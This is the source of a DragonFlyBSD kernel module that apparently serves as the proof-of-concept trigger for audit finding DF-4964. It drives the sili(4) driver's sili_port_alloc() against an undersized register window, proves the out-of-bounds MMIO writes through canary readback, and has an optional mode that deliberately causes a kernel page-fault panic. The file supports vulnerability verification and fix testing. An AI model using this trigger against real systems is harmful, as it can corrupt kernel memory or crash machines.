⬢ DragonFlyBSD Kernel Audit
DF-4964 / trigger.c
← back to finding ↓ download raw
/*
 * DF-4964 PoC trigger (v3): drive sili(4)'s own sili_port_alloc() against an
 * undersized port-register window, emulating a SiI 3124/3132 whose BAR(2)
 * decodes only 4KB, and PROVE the out-of-bounds MMIO by canary readback.
 *
 * What is emulated (hardware state only):
 *   - A 64KB device mapping backed by real RAM (phys 0x60000000), obtained
 *     exactly the way bus_alloc_resource_any() maps a BAR
 *     (pmap_mapdev_uncacheable).  The driver is told (sc_pregs rman size)
 *     that BAR(2) is only the first 4KB.  Everything past +0x1000 that the
 *     driver touches is OUT OF BOUNDS w.r.t. its window; the canaries we
 *     plant there are outside the window but inside the real mapping, so
 *     the OOB access is deterministic and observable on any KVA layout.
 *   - A fake BAR(0) global-regs window (inside the real mapping) for the
 *     GCTL accesses, real DMA tags and sc_ncmds so the port helper thread
 *     (started at the end of a successful sili_port_alloc) stays inside
 *     the mapped region.
 *   - A valid device_t for the ksnprintf() in sili_port_alloc.
 *
 * What is NOT emulated (100% driver code under test):
 *   - sili_port_alloc(sc, 3) from the stock kernel (sili is compiled into
 *     X86_64_GENERIC): subregion carve at SILI_PORT_REGION(3) = 24KB with
 *     zero validation, then sili_pwrite(INT_DISABLE) at +24576+0x1014 and
 *     the CTL_SET/STATUS access at +24576+0x1000 -- all outside the 4KB
 *     BAR(2) window the driver was given.
 *
 * Expected output (unpatched, any KVA layout):
 *   TRIGGER: canary@+0x7014 before = deadbeef / canary@+0x7000 = cafebabe
 *   TRIGGER: canary@+0x7014 after  = <SILI_PREG_INT_MASK>  *** OOB WRITE PROVEN
 *   TRIGGER: canary@+0x7000 after  = 00000001              *** OOB WRITE PROVEN
 *   TRIGGER: sili_port_alloc returned 0
 * (On hardware where the KVA past a real 4KB BAR window is unmapped, this
 *  same driver path takes a kernel page fault -- Fatal trap 12 -- instead.)
 *
 * With fix.diff applied (sili.c rebuilt): sili_port_alloc returns EINVAL
 * (22) before any MMIO; both canaries still read deadbeef/cafebabe.
 *
 * NOTE: on the unpatched run the port helper thread keeps running against
 * the (mapped) region and the softc is intentionally leaked, so unload and
 * further guest use stay safe; a reboot clears it.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/rman.h>

#include <sys/bus.h>
#include <machine/bus_dma.h>
#include <machine/pmap.h>
#include <vm/pmap.h>
#include <vm/vm_extern.h>
#include <vm/vm_kern.h>

#include "sili.h"

#define	FAKE_BAR_PHYS	0x60000000UL	/* real RAM on this guest (4GB) */
#define	REAL_MAP_SIZE	0x10000		/* 64KB real mapping */
#define	FAKE_BAR_SIZE	4096		/* what the driver is told BAR(2) is */
#define	TEST_PORT	3		/* SiI3124: 4 ports -> subregion @24KB */

/* offsets past the fake 4KB window that sili_port_alloc(port=3) will touch */
#define	OOB_INT_DISABLE	(TEST_PORT * 8192 + SILI_PREG_INT_DISABLE) /* 0x7014 */
#define	OOB_CTL_SET	(TEST_PORT * 8192 + SILI_PREG_CTL_SET)	/* 0x7000 */

static bus_space_handle_t mapbase;
static struct sili_softc *leaked_sc;

/*
 * Panic mode: create a guaranteed-unmapped KVA hole (kmem_alloc then
 * kmem_free tears the PTEs down), park the fake 4KB BAR(2) inside it, and
 * let the driver's first OOB sili_pwrite() take the kernel page fault
 * (Fatal trap 12) -- the exact hardware situation where the BAR window is
 * smaller than the subregion offset and the adjacent KVA is unmapped.
 * Enabled with kenv df4964.panic=1.
 */
static bus_space_handle_t
find_unmapped_bar_base(void)
{
	vm_offset_t va, b;

	va = kmem_alloc(kernel_map, 2 * 1024 * 1024, VM_SUBSYS_KMALLOC);
	kprintf("TRIGGER: dbg kmem_alloc(2MB) = %08jx\n", (uintmax_t)va);
	if (va == 0)
		return (0);
	kmem_free(kernel_map, va, 2 * 1024 * 1024);
	b = va + 0x100000;			/* deep inside the freed hole */
	kprintf("TRIGGER: dbg extract(b+0x7000)=%08jx extract(b+0x7014)=%08jx\n",
	    (uintmax_t)pmap_extract(kernel_pmap, b + OOB_CTL_SET, NULL),
	    (uintmax_t)pmap_extract(kernel_pmap, b + OOB_INT_DISABLE, NULL));
	/*
	 * NB: DFly pmap_extract() on a kernel VA whose PTE was cleared but
	 * whose page-table page is still present returns va & PAGE_MASK (no
	 * frame bits) -- treat "no frame bits" as unmapped.
	 */
	if ((pmap_extract(kernel_pmap, b + OOB_CTL_SET, NULL) & ~PAGE_MASK) != 0 ||
	    (pmap_extract(kernel_pmap, b + OOB_INT_DISABLE, NULL) & ~PAGE_MASK) != 0)
		return (0);
	return ((bus_space_handle_t)b);
}

static int
df4964_modevent(module_t mod, int type, void *arg)
{
	struct resource fake_pregs;
	device_t dev;
	uint32_t *can_int_dis, *can_ctl_set;
	bus_space_handle_t fake_bar;
	int rc, error, panic_mode;

	switch (type) {
	case MOD_LOAD:
		panic_mode = kgetenv("df4964.panic") != NULL;
		/* the real 64KB mapping (what the PCI bus code would map for a
		 * 64KB BAR; the undersized-card case maps only 4KB of it) */
		mapbase = (bus_space_handle_t)pmap_mapdev_uncacheable(
		    FAKE_BAR_PHYS, REAL_MAP_SIZE);

		if (panic_mode) {
			fake_bar = find_unmapped_bar_base();
			kprintf("TRIGGER: PANIC MODE, fake BAR2 base=%08jx "
			    "(targets +0x%x provably unmapped via "
			    "pmap_extract)\n", (uintmax_t)fake_bar,
			    OOB_CTL_SET);
			kprintf("TRIGGER: first OOB write will land at "
			    "%08jx -- expect Fatal trap 12\n",
			    (uintmax_t)(fake_bar + OOB_INT_DISABLE));
			if (fake_bar == 0)
				return (ENOENT);
		} else {
			fake_bar = mapbase;
		}

		can_int_dis = (uint32_t *)(mapbase + OOB_INT_DISABLE);
		can_ctl_set = (uint32_t *)(mapbase + OOB_CTL_SET);
		*can_int_dis = 0xdeadbeef;
		*can_ctl_set = 0xcafebabe;

		kprintf("TRIGGER: fake_bar=%08jx, driver told BAR2=%d bytes\n",
		    (uintmax_t)fake_bar, FAKE_BAR_SIZE);
		if (!panic_mode)
			kprintf("TRIGGER: canary@+0x%x before = %08x, "
			    "canary@+0x%x before = %08x\n",
			    OOB_INT_DISABLE, *can_int_dis,
			    OOB_CTL_SET, *can_ctl_set);
		kprintf("TRIGGER: calling sili_port_alloc(sc, port=%d)\n",
		    TEST_PORT);

		dev = devclass_get_device(devclass_find("pci"), 0);
		if (dev == NULL)
			dev = devclass_get_device(devclass_find("nexus"), 0);

		leaked_sc = kmalloc(sizeof(*leaked_sc), M_DEVBUF,
				    M_INTWAIT | M_ZERO);
		leaked_sc->sc_dev = dev;
		leaked_sc->sc_piot = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
		leaked_sc->sc_pioh = fake_bar;
		leaked_sc->sc_iot = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
		leaked_sc->sc_ioh = (bus_space_handle_t)(mapbase + 0x8000);
		leaked_sc->sc_ncmds = SILI_MAX_CMDS;
		/*
		 * Fake rman resource describing the 4KB BAR(2).  rman_get_size
		 * only reads r_start/r_end; consumed solely by the patched
		 * bounds check (by nothing at all on an unpatched kernel).
		 */
		bzero(&fake_pregs, sizeof(fake_pregs));
		fake_pregs.r_start = 0;
		fake_pregs.r_end = FAKE_BAR_SIZE - 1;
		leaked_sc->sc_pregs = &fake_pregs;

		/* real tags so a successful port_alloc's helper thread works */
		error = bus_dma_tag_create(NULL, 8, 0, 0, BUS_SPACE_MAXADDR,
		    4096, 1, 4096, 0, &leaked_sc->sc_tag_prbs);
		error += bus_dma_tag_create(NULL, 4, 0, 0, BUS_SPACE_MAXADDR,
		    4096 * 1024, SILI_MAX_SGET, 65536, 0,
		    &leaked_sc->sc_tag_data);
		if (error)
			return (ENOMEM);

		rc = sili_port_alloc(leaked_sc, TEST_PORT); /* code under test */

		if (panic_mode) {
			kprintf("TRIGGER: survived?? rc=%d (panic expected)\n",
			    rc);
			return (0);
		}
		kprintf("TRIGGER: canary@+0x%x after  = %08x\n",
		    OOB_INT_DISABLE, *can_int_dis);
		kprintf("TRIGGER: canary@+0x%x after  = %08x\n",
		    OOB_CTL_SET, *can_ctl_set);
		if (*can_int_dis != 0xdeadbeef && *can_ctl_set != 0xcafebabe)
			kprintf("TRIGGER: *** OOB MMIO WRITES PROVEN at +0x%x "
			    "and +0x%x (INT_DISABLE/CTL_SET landed outside "
			    "the 4KB BAR2 window) ***\n",
			    OOB_INT_DISABLE, OOB_CTL_SET);
		else if (*can_int_dis != 0xdeadbeef)
			kprintf("TRIGGER: *** OOB MMIO WRITE PROVEN at +0x%x "
			    "***\n", OOB_INT_DISABLE);
		else if (rc == EINVAL)
			kprintf("TRIGGER: EINVAL before any MMIO -> fix "
			    "effective, canaries untouched\n");
		else
			kprintf("TRIGGER: canaries untouched (unexpected)\n");
		kprintf("TRIGGER: sili_port_alloc returned %d\n", rc);
		/* sc intentionally leaked: the port thread references it */
		return (0);
	case MOD_UNLOAD:
		kprintf("TRIGGER: unloaded, guest still alive\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df4964_mod = { "df4964", df4964_modevent, NULL };
DECLARE_MODULE(df4964, df4964_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
/* no MODULE_DEPEND: stock kernel has sili compiled in; on kernels without
 * it, kldload sili.ko first */